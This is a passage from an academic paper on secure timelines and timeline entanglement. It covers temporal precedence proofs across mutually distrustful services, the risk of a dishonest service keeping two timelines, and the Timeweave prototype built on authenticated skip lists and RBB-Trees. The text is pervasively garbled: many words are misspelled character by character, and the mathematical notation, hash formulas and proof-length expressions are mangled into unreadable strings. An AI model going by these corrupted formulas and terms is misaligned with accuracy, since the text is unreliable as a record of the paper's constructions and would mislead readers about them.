Section 5.2. 


initted to it during a time stamping round. The Key 
Archival Service (KAS) by Maniatis and Baker [16] 
is another service with a timeline, where the ser- 
vice state is a persistent authenticated dictionary of 
all certificates and revocation records issued by a 
Certification Authority. Similarly, any servicc that 
maintains one-way digests of its current state can 
be retrofitted to have a secure timeline. Consider, 
for example, Kocher’s Certificate Revocation Trees 
(CRT) [13]. The state of the service at the end of 
each publication interval consists of a hash tree of 
all published revocation records. The root hash of 
the CRT is a one-way digest of the clatabase. Conse- 
quently, a secure timeline for the revocation service 
can casily follow from the above construction. 


Figure 1 illustrates the first few time steps of a 
secure timeline. In the figure, the new timeline 
authenticator is also fed into the new state of the 
system. Depencing on the definition of the state 
digest function, a new state of the service can be 
shown to be fresh, i.c., to have followed the com- 
putation of the authenticator for the previous time 
step. In Time Stamping Services, this places the 
time stamp of a docurnent between two rounds of 
the service. In the Key Archival Service, this bounds 
the time interval during which a change in the Cer- 
tification Authority (new certificate, revocation, or 
refresh) has occurred. {In a CRT timeline system, 
this bounds the time when a revocation database 
was built. Some authenticated dictionaries can be 
shown to be fresh(e.g., [8]), and we explain how we 
handle freshness in Section 5.2. 

Secure timelines can be used to answer two basic 
kinds of questions: existence questions and temporal 
precedence questions. Existence questions are of the 
form “is S the i-th system state?”, and are used to 
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establish that the service exhibited a certain kind of 
behavior at a particular phase in its history. In the 
time stamping cxample, an existence question could 
be “is d the round hash at time 71?” A positive an- 
swer allows a client to verify the validity of a time 
stamp from round 2, since time stamps from round 2 
are authenticated with the root hash of that round. 
Temporal precedence questions are of the form “did 
state S occur before state S’?”. In time stiarnping, 
answers to precedence questions can establish prece- 
dence between two time stamped clocuments. 


Answers to both existence and temporal prece- 
dence questions are provable. Given the last. au- 
thenticator in the timeline, to prove the existence 
of a state in the timneline’s past I have to produce 
a one-way path—a sequence of applications of one- 
way functions - from that state to the current time- 
line authenticator. Similarly, to prove that state S' 
precedes state S$’, I have to show that there exists 
a one-way path from state S to state S’. For ex- 
ample, in Figure 1, the path from S; to T,, To and 
tlen to S3 is one-way and establishes that state S, 
occurred before S3. Extending this path to 73 pro- 
vides ai existence proof for state S;, if the verifier 
knows that 73 is the latest timeline authenticator. 


Secure timelines are a general mechanism for te7n- 
poral authentication. As with any other authentica- 
tion mechanism, timeline proofs are useful only if 
the authenticator against which they are validated 
is itself secure and easily accessible to all verifiers, 
i.e., the clients within the service domain. In other 
words, clients must be able to receive securely au- 
thenticator tuples of the form (i, T;) from the ser- 
vice at every time step, or at coarser intervals. This 
assumes that clients have a means to open authen- 
ticated channels to the service. Furthermore, there 
must be a unique tuple for every time step 7. Ei- 
ther the service must be trusted by the clients to 
maintain a unique timeline, or the timeline must 
be periodically “anchored” on an unconditionally 
trusted write-once publication medium, such as a 
paper journal or popular newspaper. ‘The latter 
technique is used by some cornmercial time stamp- 
ing services [25], to reduce the clients’ need to trust 
the service. 


For the remainder of this paper, “time 2” means 
the state of the service that is current right before 
timeline element 7 has been published, as well as 
the physical time period between the publication 
of the timeline authenticators for time steps i — 1 
and 7. For service A, we denote time 7 as (A,71), 
the associated timeline authenticator as Tf and the 
precedence proof from ‘+t to j as ae 
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4 ‘Timeline Entanglement 


In the previous section, we describe how a secure 
timeline can be used by the clients within a service 
domain to reason about the temporal ordering of 
the states of the service in a provable manner. In 
so doing, the clicnts of the service have access to 
tamper-evident. historic information about the op- 
eration of the service in the past. 

However. the timeline of service A does not carry 
much conviction before a client who belongs to a dif 
ferent, disjoint service domain B, i.c., a client who 
does not. trust service A or the means by which it is 
held accouutable. Cousider an example from time 
stamping where Alice, a client of TSS A, wishes to 
know when Bob, a client of another TSS B, time 
stamped a particular document D. A time stamp- 
ing proof that links D to an authenticator in B’s 
tinicline only is not convincing or useful to Alice, 
since she has no way to compare temporally time 
steps in B’s timeline to her own timeline, held by 
A. 

This is the void that. tzmeline entanglement fills. 
Timeline entanglement. creates a provable temporal 
precedence from a time step in a secure timeline to 
a time step in another incdlependent timeline. Its 
objective is to allow a group of mutually distrustful 
service domains to collaborate towards maintaining 
a common, tarnper-evident history of their collective 
timelines that can be verified from the point of view 
(i.c., within the trust domain) of any one of the 
participants. 

In timeline entanglement, cach participating ser- 
vice domain maintains its own secure timeline, but. 
also keeps track of the timelines of other partici- 
pants, by incorporating authenticators from those 
foreign timelines into its own service state, and 
therefore its own timeline. In a sense, all partici- 
pants enforce the commitinent of the timeline au- 
thenticators of their peers. 

In Section 4.1, we define timeline entanglement 
with illustrative exaniples and outline its properties. 
We then explore in detail three aspects of timeline 
entanglement: Secure Temporal Mappings in Scc- 
tion 4.2, the implications of clishonest timeline main- 
tainers in Section 4.3, and Historie Survivability in 
Section 4.4. 


4.1 Fundamentals 


Timeline entanglement is defined within the context 
of an entangled service set. This is a dynarnically 
changing set. of service domains. Although an entan- 
gled service set where all participating domains offer 





the same kind of service is conceivable such as, tor 
example, a set of time stamping services we clvi- 
sion many different service types, time stamping scr- 
vices, certification authorities, historic records ser- 
vices, etc., participating in the same entangled set. 
We assunic that. all participating services know tlic 
current membership of the cutangled service sect, al- 
though inconsistencies in this kuowledee among: ser- 
vices does not hurt the security of our constructs 
below. We also assunie that members of the service 
set can identify and authenticate cach other, either 
through the use of a common public key infrastruc- 
ture, or through direct out-ofband key exchanges. 

Every participating service defines an indepen- 
dent sampling method to select a relatively small 
subset of its logical time steps for entanglement. For 
exainple, a participant can choose to entangle every 
n-th time step. At every time step picked for en- 
tanglement, the participant sends an authenticated 
message that. contains its signed logical time and 
timeline authenticator to all other participauts in 
the entangled service set. This message is called 
a timeline thread. A timeline thread sent from A 
at, time (4,7) is denoted as t/ and has the form 
[A,i,T4,04{A i, TA}]. c4{X} represents A’s sig- 
nature on message X. 

When participant B receives a correctly signed 
timncline thread from participant A, it verifies the 
consistency of that thread with its local view of 
collective history and then archives it. Thread t/ 
is consistent with B’s local view of collective his- 
tory if it can be proved to be on the same one-way 
path (hash chain) as the last timeline authenticator 
of A that| B knows about (see Figure 2). Towards 
this goal, A includes the necessary temporal prece- 
dence proof, as described in Section 3, along with 
the thread that it sends to B. In the figure, when 
thread ¢# reaches B, the most recent timeline au- 
thenticator of A that B knows is T;*. Along with the 
thread, A sends the precedence proof Pay froin its 
tirne (A,/) to tire (4,7). As a result, B can verify 
that the new thread carries a “legitimate” timeline 
authenticator from A, one consistent with history. 
If everything checks out, B archives the new time- 
line authenticator and associated precedence proof 
in its local thread archive. 

Thread archives store tuples of the form 
fea, 8s. A thread archive serves two purposes: 
first, if maintains a participant’s local knowledge of 
the history of the entangled service set. Specifically, 
it, archives proof that every participant it knows 
about maintains a consistent timeline. It accom- 
plishes this by simply storing tle threads, which are 
snapshots in the sencler’s timeline, and supporting 
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Figure 2: FEutanglemnent exchanges between partici- 
pants A and B. The workings of B are shown in detail. 
We show two entanglement exchanges, one of time (B, &) 
with time (A,/), and one of time (4,7) with time (B, 7). 
Thick black horizontal arrows show timeline thread mes- 
sages. Thin black horizontal arrows show cntanglement. 
receipt messages. Vertical black arrows show one-way 
operations. The thick shadowed arrow sbows the tern- 


. Dy 
poral ordering effected by thread t:' and its receipt ana: 


precedence proofs, which connect these snapshots in 
a single one-way chain. The second purpose of the 
thread archive is to maintain temporal precedence 
proofs between every foreign thread it contains and 
local timeline steps. It accomplishes this by con- 
structing a one-way digest of its contents as they 
change, and then using that digest along with the 
system state digest, to derive the next local timeline 
authenticator (Section 5.2 describes how the thread 
archive is implemented). In the figure, B’s system 
state si? and updated thread archive & . are COI- 


bined into d?, which then participates in the com- 


We 

putation of the next timeline authenticator Te 
Participant B responds to the newly reported 
timeline authenticator with an entanglement recetpt. 
This receipt proves that the next timeline authen- 
ticator that B produces is influenced partly by the 
archiving of the thread it just received. The re- 
ceipt must convince A of three things: first, that its 
thread was archived; second, that the thread was 
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archived in the latest- “freshest” --version of B’s 
thread archive; and, third, that this version of the 
thread archive is the one whose cligest is used to 
derive the next timeline authenticator that B pro- 
duces. As a result, the entanglement receipt. ie 
that B returns to A for the entanglement of thread 
t:' consists of three components: first, a precedence 
proof Ree ~! from the last. of B’s timeline authen- 
ticators that, A kuows about, die , to B’s timeline 
authenticator ee , right before archiving A’s new 
thread; second, an existence proof showing that the 
timeline thread t;' is archived in the latest, fresh- 
est, version BE? of B’s thread archive after the last 
authenticator Ts , was computed; and, third, a one- 
way derivation of the next timeline authenticator of 
B from the new version of the thread archive and 
the current system state a It is now A’s turn to 
check the validity of the proofs in the entanglement. 
receipt. If all goes well, A stores the proof of prece- 
clence and reported timeline authenticator from B 
in its recezpt archive. This concludes the entangle- 
nent process from tirme (A, 7%) to time (B,7). 

The receipt archive is similar to the thread 
archive; it stores entanglement receipts that the 
participant receives in response to its own timeline 
threads. 

After the entanglement of time (A,i) with time 
(B,7), both A and B have in their possession 
portable temporal precedence proofs ordering A’s 
past. before B’s future. Any one-way process at A 
whose result is included in the derivation of T/! or 
earlier timeline authenticators at A can be shown 
to have completed before any one-way process at. 
B that includes in its inputs di or later timeline 
authenticators at B. 

In this clefinition of timeline entanglement, a par- 
ticipating service entangiles its timeline at the prede- 
termined sample time steps with all other services 
in the entangled service set (we call this all-to-all 
entanglernent). In this work we limit the discus- 
sion to all-to-all eutanglement only, but we describe 
a more restricted, and consequently less expensive, 
entanglement model in future work (Section 7). 

The primary benefit of timeline entanglement. is 
its support for secure ternporal mapping. A client. 
in one service domain can use temporal information 
maintained in a remote service domain that he does 
not trust, by mapping that information onto his own 
service domain. This mapping results in some loss 
of temporal resolution—-tor example, a time instant. 
maps to a positive-length time interval. We describe 
secure temporal mapping in Section 4.2. 

Timeline entanglement is a sound method of ex- 
panding temporal precedence proofs outside a ser- 
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vice domain; it does not prove incorrect prece- 
dences. However it is not complete, that is, there 
are some precedences it cannot prove. For exam- 
ple, it is possible for a dishonest service to maintain 
clandestinely two timelines, essentially “hiding” the 
commnitment of some of its system states from some 
members of the cutaugled service set. We explore 
the implications of such behavior in Section 4.3. 

Finally, we consider the survivability characteris- 
tics of temporal proofs beyond the lifetime of the 
associated timeline. in Section 4.4. 


4.2 Secure Temporal Mapping 


Temporal mapping allows a participating service A 
to map onto its own timeline a time step (B, 7) from 
the timeline of another participant B. This napping 
is denoted by (B,i) % A. Since A and B do not 
trust cach other, the mapping must be secure; this 
means it should be practically impossible for B to 


prove to A that ((B,i) # A) = ((A,j), (A.A), if 


(B,2) occurred before or at (A, 7), or after (A, *). 

Figure 3 illustrates the secure temporal rnapping 
(B,2) % A. To compute the mapping, A requires 
only local information from its thread and receipt 
archives. First, it searches in its receipt archive for 
the latest entanglement receipt that B sent back 
before or at. time (B, 2), receipt ret in the example. 
As described in Section 4, this receipt proves to A 
that, its time (A, 1) occurred before B’s time (B, 1). 

Then, A searches in its thread archive for the car- 
liest thread that B sent it after time (B, 2), which is 
thread t? in the example. This thread proves to A 
that its tine (A, 5) occurred at or after time (B, 3). 
Recall, also, that. when A received t? in the first 
place, it had also received a temporal precedence 
proof from (B, 1) to (B,3), which in the straightfor- 
ward hash chain case, also includes the system state 
digest for (B,2). Now A has enough information to 
conclude that ((B,2) A) = ((A, 1), (A, 5)]. 

Since A has no reason to believe that B maintaius 
its timeline in regular intervals, there is no more 
that A can assiune about the temporal placement 
of state S# within the interval ((A,1), (A,5)]. This 
results in a loss of temporal resolution; in the figure, 
this loss is illustrated as the difference between the 
length on B’s tirneline from (B,1) to (B, 2) (i.c., the 
“duration” of time step (B, 2)) and the length of the 
segment on A’s timeline from (A, 1) to (A,5) (the 
duration of (B,2) + A). This loss is higher when 
A and B exchanee thread messages infrequently. It 
can be made lower, but only at the cost of increasing 
the frequency with which A and B send threads to 
cach other, which translates to more ruessages and 





Figure 3: Secure mapping of time (B,2) outo the timne- 
line of A. Thick arrows indicate timeline threads, Thin 
alrows indicate entanglement receipts (ouly the relevant 
entanglement receipts are shown). Jrrelevant thread aud 
receipt messages are prayed-out. The dark broken line 
illustrates the progression of values that secure the cor- 
rectness of the napping. 


more computation at A and B. We explore this 


trade-off in Section 6. 


Secure time mapping allows chents within a ser- 
vice domain to determine with certainty the tempo- 
ral ordering between states on their own service and 
on remote, untrusted service domains. Going back 
to the time stamping example, assume that Alice 
has in her possession a time stamp for document C 
in her own service domain A, which links it to local 
time (A, 7), ancl she has been presented by Bob with 
a time stamp ou document DP in his service domain 
B, which links Bob’s doctunent to time (B, 2). Alice 
can request frorn A the time mapping (B, 2) % A, 
shown above to be ((A,1), (A,5)]. With this infor- 
mation. Alice can be convinced that her document 
C was time stamped after Bob’s document D was, 
regardless of whether or not Alice trusts Bob or B. 


In the general case, not all time steps in one time- 
line map readily to another timeline. To reduce the 
length of temporal precedence proofs, we use hash 
skip lists (Section 5.1) instead of straightforward 
hash chains in ‘Timeweave, our prototype. Tempo- 
ral precedence proofs on skip lists are shorter be- 
cause they do not contain every timeline authenti- 
cator from the source to the destination. In time- 
lines implemented in this manner, only time steps 
included in the skip list proof can be mapped with- 
out the cooperation of the remote service. For other 
mappings, the remote service must supply adcdi- 
tional, more detailed precedence proofs, counecting 
the time authenticator in question to the time au- 
theuticators that the requester knows about. 
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4.3 Historic Integrity 


Timeline entanglement is intended as an artificial 
enlargement of the class of usable, temporal order- 
ings that. clients within a service domain can deter- 
mine undeniably. Without entanglernent, a client 
can determine the provable ordering of events only 
on the local timeline. With entanglement, one-way 
paths are created that anchor time scgments from 
remote, untrusted timelines onto the local timeline. 

However, the one-way properties of the digest and 
hash functions used make timelines secure only as 
long as everybody is referring to the same, single 
timeline. If, instead, a dishonest service maintains 
clandestinely two or more timelines or branches of 
the same timeline, publishing different timeline au- 
thenticators to different subsets of its users, then 
tliat service can, in a sense, revise history. Just [12] 
identified such an attack against carly time stamp- 
ing services. Within a service domain, this attack 
can be foiled by enforcing that the service period- 
ically commit its tirneline on a write-once, widely 
published medium, such as a local newspaper or pa- 
per journal. When there is doubt, a cautious client 
can wait to sce the precedence proof linking the 
timeline authenticator of interest to the next widely 
published authenticator, before considering the for- 
mer unique. 

Unfortunately, a similar attack can be mounted 
against the integrity of collective history, in an en- 
tangled service set. Entanglement, as described in 
Section 4, does not verify that samples from B's 
timeline that are archived at A and C' are identi- 
cal. If B is malicious, it can report authenticators 
from one chain to A and from another to C’, unde- 
tected (see Figure 4). In the general case, this does 
not dilute the usability of entanglement among hon- 
est service domains. Instead, it renders wuprovable 
some interactions between honest and dishonest ser- 
vice domains. More importantly, attacks by a ser- 
vice against the integrity of its own timeline can 
only make external ternporal precedence informa- 
tion involving that timeline inconclusive; such at- 
tacks cannot change the temporal ordering between 
time steps on honest and dishonest timelines. Ulti- 
mately, it is solely the clients of a dishonest service 
who suffer the consequences. 

Consider, for instance, the scenario of Figure 4. 
Dishonest service B has branched off its originally 
unique timeline into two separate timelines at. its 
time (B,2). It uses the top branch, with times 3’, 
4’, etc., in its entanglements with service C, and its 
bottorn branch, with times 3, 4, etc., in its entangle- 
ments with service A. From A’s point of view, event: 
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Figure 4 An example showing a dishonest service B 
that maintains two timelines, entangling one with A and 
another with C. Event MV is committed on the bottom 
branch of B’s timeline, but does not appear on the top 
branch. 


N is incorporated in B’s state and corresponding 
timeline at time (B,4). From C’s point of view, 
however, event A’ seems never to have happened. 
Since NV does not appear in the branch of B’s time- 
line that is visible to C, C’s clients cannot, conclu- 
sively place event. NV in time at all. Therefore, only 
the client of B who is responsible for event N suf- 
fers from this discrepancy. C' does not know about 
it at all, and A knows its correct relative temporal 
position. 

We describe briefly a inethod for enforcing time- 
line uniqueness within an entangled service set in 
Section 7. 


4.4 Historic Survivability 


Historic survivability in the context of an entangled 
set. of services is the decoupling of the verifiability 
of existence and temporal precedence proofs within 
a timeline from the fate of the maintainer of that 
timeline. 

Temporal proofs are inherently survivable be- 
cause of their dependence on well-known, one-way 
constructs. For example, a hash chain consisting 
of multiple applications of SHA-1 certainly proves 
that the result of the chain temporally followed the 
input to the chain. However, this survivability is 
moot, if the timeline authenticators that the proof 
orders undeniably can no longer be interpreted or 
associated with a real time frame. 

Fortunately, secure temporal mapping allows a 
client within a service domain to fortify a temporal 
proof that he cares about against the passing of the 
local service. The client can accomplish this by par- 
ticipating in more service dornains than one; then, 


USENIX Association 


USENIX Association 


he can proactively map the temporal proofs he cares 
about from their source tinicline onto all the timne- 
lines of the service domains in which he belongs. In 
this manner, even if all but one of the services with 
which he is associated become unavailable or go out 
of business, the client may still associate his proofs 
with a live timeline in the surviving service domain. 

Consider, for example, the scenario illustrated in 
Figure 5. David, who belongs to all three service 
domains A. B and C’, wishes to fortify event JV so 
as to be able to place it in time, even if service 
B is no longer available. Tle maps the event onto 
the timelines of A and C'’— “mapping an event NV” 
is equivalent to mapping the tinneline time step in 
whose system state event MV is included, that. is, 
(B,2) in the example. Even though the event oc- 
curred in B’s tirneline, David can still reason about 
its relative position in time, albeit with some loss 
of resolution, in both the service domains of A and 
C’, long after B is gone. In a sense, David “hedges 
his bets” among multiple services, hoping that one 
of them survives. Note also that the fortification 
of even NV can occur long after its occurrence. The 
use of temporal mapping in this context is similar 
in scope to the techniques used by Ansper ct. al. [2] 
for fault-tolerant time stamping services, although 
it, assumes far less inutual trust among the different. 
service domains. 


5 Implementation 


We have devised two new, to our knowledge, disk- 
oriented data structures for the implementation of 
Timeweave, our timeline entanglement prototype. 
In Section 5.1, we present authenticated append- 
only skip lists. These are an efficient optimization of 
traclitional hash chains and yield precedence proofs 
with size proportional to the square logarithm of 
the total clements in the list, as opposed to linear. 
In Section 5.2, we present RBB-Trees, our cisk- 
basecl, persistent authenticated dictionaries based 
on authenticated search trees. RBB-Trees scale to 
larger sizes than current in-memory persistent au- 
thenticated dictionaries, while making cfficient use 
of the disk. Finally, in Section 5.3, we outline how 
Timeweave operates. 

5.1 Authenticated Append-only Skip 
Lists 


Our basic tool for inaintaining an cfficient secure 
timeline is the authenticated appencd-only skip list. 
The authenticated append-only skip list is a mod- 
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Figure 5: An example of mapping event JV outo two 
other timelines. to obtain a survivable proof of its tem- 
poral position. Tle top shaded line represents (Vr C’) 
and the bottom shaded line represents (VV +> A). 


lication of the sirmplistic hash chain described in 
Section 3 that yields improved access characteris- 
tics and shorter proofs. 

Our skip lists are deterministic, as opposed to the 
randomized skip lists proposed in the literature [20]. 
Unlike the authenticated skip lists introduced by 

roodrich et al. [10], our skip lists are append-only, 

which obviates the need for commutative hashing. 
Every list clement has a numeric identifier that is a 
counter from the first element in the list (the first 
element is clement 1, the tenth clement is clement 
10, and so on); the initial authenticator of the skip 
list. before any elements are inserted is clernent 0. 
Every inserted clement carries a data value and au 
authenticator, similarly to what was suggested in 
Section 3 for single-chain timelines. 

The skip list consists of multiple parallel hash 
chains at. different levels of detail, each containing 
half as many clements as the previous one. The ba- 
sic chain (at level 7) links every element to the au- 
thenticator of the one before it, just like simple hash 
chains. The next chain (at level 1) coexists with 
the level O chain, but only contains elernents whose 
numeric identifiers are nultiples of 2, and every el- 
erent is linked to the element two positions before 
it. Similarly, only elements with numeric identifiers 
that are multiples of 2’ are contained in the hash 
chain of level ~ No chains of level 7 > logy n are 
maintained. if all clements are n. 

The authenticator Tj of element 7 with data value 
d; is computed from a hash of all the partial authen- 
ticators (called links) from each basic hash chain in 
which the clement participates. Element i = 2'k, 
where 2 cloes not divide k, participates in / + 1 
chains. It has the 1+ 1 links LD? = h(i. j, dj, T;~2;) 


e 
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Figure 6: Six consecutive skip list elements, clement. 16 
to element 21. Arrows show hash operations fron. pre- 
vious authenticators to links of an element. The top of 
each tower isthe resulting autheuticator fer the element, 
derived by hashing together all links underneath it. 


0< j <1, and authenticator T; = h(L?||...||L£'). 
Figure 6 illustrates a portion of such a skip list. In 
the implementation, we combine together the ele- 
ment authenticator with the 0-th level link for odd- 
nuinbered elements, since such elements have a sin- 
gle link, which is sufficient as an authenticator by 
itself. 

Skip lists allow their efficient traversal from an 
clernent 7 to a later element 7 in a logarithmic num- 
ber of steps: starting from element 7, successively 
higher-level links are utilized until the “tallest cle- 
ment” (one with the largest power of 2 in its fac- 
tors among all elernent indices between i and j) is 
reached. Thereafter, successively lower-level links 
are traversed until 7 is reached. More specifically, 
an iterative process starts with the current clement. 
c = 1. To move closer to the destination clement. 
with index j, the highest power 2* of 2 that divides 
cis picked, such that c+ 2? < j. Then clement 
k = c+ 2? becomes the next current clement c¢ in 
the traversal. The iteration stops when ¢ = j. 

The associated temporal precedence proof linking 
clement 7 before element j is constructed in a man- 
ner similar to the traversal described above. At ev- 
ery step, when a jump of length 2% is taken from the 
current element cto k = c+27, the element value of 
the new elernent dy, is appended to the proof, along 
with all the associated links of element k, except for 
the link at level z. Link Ly is omitted since it can 
be computed during verification from the previous 
authenticator 7T.. and the data value dr. 

In the example of Figure 6, the path from el- 
ement 17 to element 21 traverses elements 18 
and 20. The corresponding precedence proof 
from clement 17 to element 21 is P?t = 
{divas Lig; dan, Log, Lay: doy }. With this proof and 
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given the authenticators T)7 and 72, of elements 
17 and 21 respectively. the verifier can succes- 
sively compute T/g = h(h(18||Ol]dis||T17)||Lts), 
then Tio = h(L5o||h(20||1||d20||Tis) || £30) and finally 

bt = h(21||0|\do1||Z59)-~recall that for all odd ele- 
ments i, T; = L?. If the known and the derived 
values for the authenticator agree (T2; = T5,), then 
the verifier can be convinced that the authenticator 
Ti7 preceded the computation of authenticator 751, 
which is the objective of a precedence proof. 

Thanks to the properties of skip lists, any of these 
proofs contains links and data values of roughly a 
logarithmic number of skip list elements. ‘The worst- 
‘ase proof for a skip list of m elements traverses 
2 x logs (7) clements, climbing links of every level be- 
tween 0 and log,(m) and back down again, or log5(n) 
link values and log,(7) data values total. Assuming 
that every link and value is a SHA-1 digest of 160 
bits, the worst. case proof for a timeline of a billion 
elcrnents is no louger than 20 KBytes, and most are 
much shorter. 

Our skip lists are fit for secondary storage. They 
are implemented on memory-mapped files. Since 
modifications are expected to be relatively rare, 
compared to searches and proof extractions, we al- 
ways write changes to the skip list through to the 
disk immediately after they are made, to rnaintain 
consistency in the face of machine crashes. We do 
not, however, support structural recovery from disk 
crashes; we believe that existing file system and re- 
dundant disk array technologies are alequate to pre- 
vent. and recover all but the most catastrophic losses 
of disk bits. 

5.2 Disk-based Persistent Authenti- 
cated Dictionaries 


This work uses authenticated persistent dictionaries 
based on trees. A persistent dictionary maintains 
multiple versions (or snapshots) of its contents as 
it is modified. In addition to the functionality of- 
fered by simple authenticated dictionaries, it can 
also provably answer questions of the form “in snap- 
shot ¢, was element d in the dictionary?”. 

The dictionaries we use in this work can poten- 
tially grow very large, much larger than the sizes 
of current main memories. Therefore, we have ex- 
tended our earlier work on balanced persistent au- 
thenticated search trees [16] to design on-disk per- 
sistent authenticated dictionaries. ‘The resulting 
data structure, the #BB-Tree, is a binary authen- 
ticated search tree [6, 7] embedded in a persistent 
B-Tree [4](9, Ch. 18]. Figure 7 shows a simple RBB- 
Tree holding 16 numeric keys. 
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Iigure 7: Au RBB-Tree. Boxes are disk blocks. In this 
example, cach non-root disk block contains a nunimiun 
of land amaxinuin of 3’ keys. The authentication Jabels 
of the embedded binary tree nodes are not shown; the 
label of any key node is the hash of the label of its left 
child, its own key, and the Jabel of its right child. as 
in [6, 7]. We do not show the “color” attribute of the 
keys in the per-node red-black trees, since they have no 
bearing in our discussion. 


RBB-Trces, like B-Trees, are designed to organize 
keys together in efficient structures that result in few 
disk accesses per tree operation. Every tree node is 
stored in its own disk block, contains a minimum of 
r—1 anda maximum of 2r—1 keys, and has between 
rand 2r children (the root node is only required to 
have between 1 and 2r—1 keys). Parameter r is the 
order of the B-Tree. 

Unlike traditional B-Trees, RBB-Tree nodes do 
not store their keys in a flat array. Insteacl, keys 
within RBB nodes are organized in a balanced. bi- 
nary tree, specifically a red-black tree [3][9, Ch. 13]. 
We consider RBB-Trees “virtual” binary trees, since 
the in-node binary trees connected to each other re- 
sult, in a large, piecewise-red-black tree, encompass- 
ing all keys in the entire dictionary. 

It is this “virtual” binary tree of keys that is au- 
thenticated. in the sense of the authenticated search 
trees by Buldas et. al. [6, 7]. As such, the security 
properties of R BB-Trees arc identical to those of au- 
thenticated scarch trees, including the structure of 
existence/non-existence proofs. 

Since the RBB-Tree is a valid B-Tree, it is effi- 
cient in the number of clisk block accesses it requires 
for the basic tree operations of insertion, deletion 
and modification. Specifically, each of those oper- 
ations takes O(log,.n) disk accesses, where n is the 
total number of keys in the tree. Similarly, since 
the internal binary tree in cach RBB-Tree node is 
balanced, the virtual embedded binary tree is also 
loosely balanced, and has height O((log,.n)(log.7)), 
that is, Ologygn) but with a higher constant factor 


than in a real red-black tree. These two collabo- 
rating types of balancing applied to the virtual bi- 
nary tree the first through the blocking of keys in 
RBB nodes, and the second through the balancing 
of the key nodes inside cach RBB node help keep 
the length of the resulting existcuce/nou-existence 
proofs also bounded to O(logs77) elements. 

The internal key structure uposed on RBB-Tree 
nodes does not improve the speed of scarch through 
the tree over the speed of search in an equivalent 
B-Tree, but limits the length of existence proofs im- 
inensely. ‘The existence proof for a datiuin inside 
an authenticated search tree consists of the search 
keys of cach node from the sought datum up to 
the root, along with the labels of the siblings of 
each of the ancestors of the sought datium up to 
the root [6]. In a very “bushy” tree, as B-Trees 
are designed to be, this would mean proofs con- 
taining authentication data froin a small iamber 
of individual nodes; unfortunately, each individual 
node’s authentication data consist of roughly 7 keys 
and 7 siblings’ labels. Tor example. a straightfor- 
wardly implemented authenticated B-Tree storing 
a billion SHA-1 digests with r = 100 yields exis- 
tence proofs of length flog,.10°] x (7 x (160 + 160)) 
bits, or roughly 160 KBits. The equivalent. red- 
black tree yiclds existence proofs of no more than 
2 x flog.10"] x (160+ 160) bits, or about 18 KBits. 
RBB-Trees seck to trade off tle low disk access costs 
of B-Trees with the short proof lengths of red-black 
trees. The eqiivaleut RBB-Tree of one billion SHA- 
1 digests yields proofs no longer than 


B—Tree height 


( 
flog,.10"] x 


key and label 


ae 
x (160 + 160) 


max red—black tree height 
ST 
2x {loggr] 


bits or roughly 22 KBits, with disk access costs iden- 
tical to those of the equivalent. B-Tree. 

We have designed dynamic set persistence [9, p. 
294] at the granularity of both the R-.BB node and 
the embedded key node (see Figure 8). As long 
as there is key-node space available within au RBB 
node, new snapshots of the key tree within that node 
are collocated with older snapshots. This allows 
multiple snapshots to share unchanged key nodes 
within the same RBB node. When, however, all 
available key-nocle space within an RBB node is ex- 
hausted, subsequent snapshots of the key trec inside 
that node are migrated to a new, fresh R.BB node. 

The different persistent snapshot roots of the 
RBB-Trec are held together in an authenticated 
linked list. --in fact, we use ovr own append-only aun- 
thenticated skip list from Section 5.1. 

Since each snapshot of the RBB-Tree is a “vir- 
tual” binary authenticated search tree, the root. la- 
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Figure 8: A detail from the trec of Figure 7 illustrating 
dynamic set persistence. Each key node (circle) indi- 
cates the snapshot to which it belongs (small black box). 
The subtree below the 12 key node of snapshot 1 is iden- 
tical to that of the original tree in Figure 7. Snapshot 
2 occurs when key 18 is removed from snapshot 1. As a 
result, snapshot 2 has its own key nodes for 12 and 15. 
Snapshot 3 occurs when key 19 is inserted into snapshot 
2. The RBB node previously holding 14 and 15 has no 
more room for key nodes, so a new RBB node is created 
to hold the new key nodes 14, 15 and 19 in snapshot 
3. At the bottom, the freshness authenticators for each 
of the three snapshots are shown. A key node without 
children uses the freshness authenticator of its snapshot 
when calculating its hash label. 


bel of that tree (i.e., the label of the root key node of 
the root RBB node) is a one-way digest. of the snap- 
shot [6, 7]. Furthermore, the authenticated skip list 
of those snapshot root labels is itself a one-way di- 
gest, of the sequence of snapshot roots. As a result, 
the label of the last. element of the snapshot root 
skip list is a one-way digest. of the entire history of 
operations of the persistent RBB-Tree. ‘The snap- 
shot root skip list subsumes the functionality of the 
Time Tree in our earlier persistent authenticated 
red-black tree design [16]. 

In some cases the “freshness” of an authenticated 
dictionary snapshot has to be provable. For ex- 
ample, in our description of secure timelines, we 
have specified that the system state must depend 
on the authenticator of the previous timeline time 
step. When the system state is represented by an 
authenticated dictionary, an existence proof within 
that dictionary need not only show that a sought el- 
ement, is part of the dictionary given the dictionary 
digest, (root hash), but also that the sought clement, 
was added into the dictionary after the authentica- 
tor of the previous time step was known. 

As with other authenticated dictionaries, we ac- 
complish this by making the hash label of NIL point- 
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ers equal to the “freshness” authenticator, so that. 
all existence proofs of newly inserted elements 
equivalently, non-existence proofs of newly removed 
clements— prove that they happened after the given 
freshness authenticator was known. Note that sub- 
trees of the RBB-‘Trec that do not change across 
snapshots retain their old freshness authenticators. 
This is acceptable, since freshness is only necessary 
to prove to a client that a requested modification 
was just performed (for example, when we produce 
entanglement receipts in Section 4), and is required 
only of newly removed or inserted dictionary ele- 
ments. In the figure, the label for key node 19 is 
derived from the freshness authenticator for snap- 
shot 3, since 19 is added into the tree in snapshot 
3. This establishes that the tree changed to receive 
key 19 after the value of the freshness authenticator 
for snapshot 3 was known. 

In standalone RBB-Trees, the freshness authenti- 
cator is simply the last authenticator in the snap- 
shot. root list (i.e., the authenticator that resulted 
from the insertion of the latest closed snapshot root. 
into the skip list). In the RBB-Trees that we use 
for thread archives in Timeweave (Section 5.3), the 
freshness authenticator for snapshot ¢ is exactly the 
authenticator of the previous timeline tirne step 
vee 


5.3 'Timeweave 


Timeweave is an implementation of the timeline en- 
tanglement mechanisms described in Section 4. It is 
built using our authenticated append-only skip lists 
(Section 5.1) and our on-disk persistent authenti- 
cated search trees (Section 5.2). 

A Timeweave machine maintains four compo- 
nents: first, a service state, which is application 
specific, and the one-way digest mechanism thereof; 
second, its secure timeline; third, a persistent au- 
thenticated archive of timeline threads received; 
and, fourth, a simple archive of entanglement re- 
ceipts received. 

The timeline is storecl as an append-only authen- 
ticated skip list. The system digest, used to derive 
the timeline authenticator at every logical time step 
is a hash of the concatenation of the service state 
digest and the digest of the threacl archive after any 
incoming ancl outgoing threads have been recorded. 

